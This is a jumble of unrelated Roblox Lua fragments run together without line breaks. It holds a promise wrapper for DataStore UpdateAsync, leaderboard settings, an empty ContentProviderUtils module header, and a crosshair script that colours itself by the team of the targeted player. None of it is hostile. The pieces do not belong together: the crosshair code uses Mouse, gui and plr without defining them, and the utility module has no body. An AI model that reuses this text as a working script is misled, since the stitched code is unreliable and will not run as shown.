function DataStorePromises.updateAsync(robloxDataStore, key, updateFunc) assert(typeof(robloxDataStore) == "Instance", "Bad robloxDataStore") assert(type(key) == "string", "Bad key") assert(type(updateFunc) == "function", "Bad updateFunc") return Promise.spawn(function(resolve, reject) local result = nil local ok, err = pcall(function() result = { robloxDataStore:UpdateAsync(key, updateFunc) } end) if not ok then return reject(err) end if not result then return reject("No result loaded") end return resolve(unpack(result)) end) end
-- [ SETTINGS ] --
local StatsName = "Gems" -- Your stats name local MaxItems = 25 -- Max number of items to be displayed on the leaderboard local MinValueDisplay = 1 -- Any numbers lower than this will be excluded local MaxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded local UpdateEvery = 65 -- (in seconds) How often the leaderboard has to update
--[=[ Utility functions to ensure that content is preloaded (wrapping calls in promises) @class ContentProviderUtils ]=]
local require = require(script.Parent.loader).load(script) local ContentProvider = game:GetService("ContentProvider") local Promise = require("Promise") local ContentProviderUtils = {}
-- Mouse
Mouse.Move:connect(function() gui.FakeC.Position = UDim2.new(0,Mouse.x-gui.FakeC.Size.X.Offset/2,0,Mouse.y-gui.FakeC.Size.Y.Offset/2) if Mouse.Target then if game.Players:FindFirstChild(Mouse.Target.Parent.Name) and Mouse.Target.Parent.Name ~= plr.Name then if game.Players[Mouse.Target.Parent.Name].TeamColor == plr.TeamColor then gui.FakeC.BackgroundColor3 = Color3.fromRGB(0,255,0) else gui.FakeC.BackgroundColor3 = Color3.fromRGB(255,0,0) end elseif game.Players:FindFirstChild(Mouse.Target.Parent.Parent.Name) and Mouse.Target.Parent.Parent.Name ~= plr.Name then if game.Players[Mouse.Target.Parent.Parent.Name].TeamColor == plr.TeamColor then gui.FakeC.BackgroundColor3 = Color3.fromRGB(0,255,0) else gui.FakeC.BackgroundColor3 = Color3.fromRGB(255,0,0) end elseif Mouse.Target.Parent:FindFirstChild("HumanoidLink") and Mouse.Target.Parent.HumanoidLink.Value.Parent.Name ~= plr.Name then if game.Players[Mouse.Target.Parent.HumanoidLink.Value.Parent.Name].TeamColor == plr.TeamColor then gui.FakeC.BackgroundColor3 = Color3.fromRGB(0,255,0) else gui.FakeC.BackgroundColor3 = Color3.fromRGB(255,0,0) end else gui.FakeC.BackgroundColor3 = Color3.fromRGB(255,255,255) end end end) local UserInputService = game:GetService("UserInputService") UserInputService.InputBegan:connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton3 then if script.Parent.MainGui.FakeC.Size == UDim2.new(0,4,0,4) then script.Parent.MainGui.FakeC.Size = UDim2.new(0,2,0,2) else script.Parent.MainGui.FakeC.Size = UDim2.new(0,4,0,4) end gui.FakeC.Position = UDim2.new(0,Mouse.x-gui.FakeC.Size.X.Offset/2,0,Mouse.y-gui.FakeC.Size.Y.Offset/2) end end)